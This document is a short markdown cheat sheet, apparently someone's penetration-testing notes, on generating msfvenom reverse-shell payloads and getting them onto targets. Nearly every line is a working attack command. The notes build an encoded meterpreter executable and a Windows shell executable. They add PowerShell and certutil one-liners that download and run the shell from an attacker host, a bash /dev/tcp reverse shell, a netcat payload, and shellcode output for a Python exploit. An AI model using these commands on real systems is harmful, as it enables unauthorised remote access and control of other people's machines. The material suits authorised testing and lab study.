# msfvenom usage

```msfvenom -p <payload> <options>```

* syntax
```<OS>/<arch>/<payload>```
    * stageless ```linux/x86/shell_reverse_tcp```
    * staged ```linux/x86/shell/reverse_tcp```

## Windows
### x64 Reverse Shell in exe format
```
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
```

### x86 shikata_ga_nai
```
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encode x86/shikata_ga_nai LHOST=10.9.7.123 LPORT=4446 -f exe -o shell.exe
```

### Getting the shell on target
* on attack machine, with shell.exe in cwd
```
python -m http.server
```
* on target machine execute this
```
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"

Start-Process "shell.exe"
```
or
```
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
```
or
```
powershell -c "Invoke-WebRequest -Uri 'ip/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'"
```
or on cmd.exe
```sh
certutil -urlcache -split -f http://<attacker-IP>:<attacker-Port>/shell.exe
```

## Unix
### netcat reverse 
```msfvenom -p cmd/unix/reverse_netcat LHOST=<listen-ip> LPORT=<liste-port> R```

* Alternatively, not msfvenom
```bash -c "bash -i >& /dev/tcp/<listen-ip>/<listen-port> 0>&1"```

### Include into Python Exploit as hex
```sh
msfvenom -p windows/shell_reverse_tcp LHOST=10.9.7.193 LPORT=4444 EXITFUNC=thread -b "\x00" -f py
```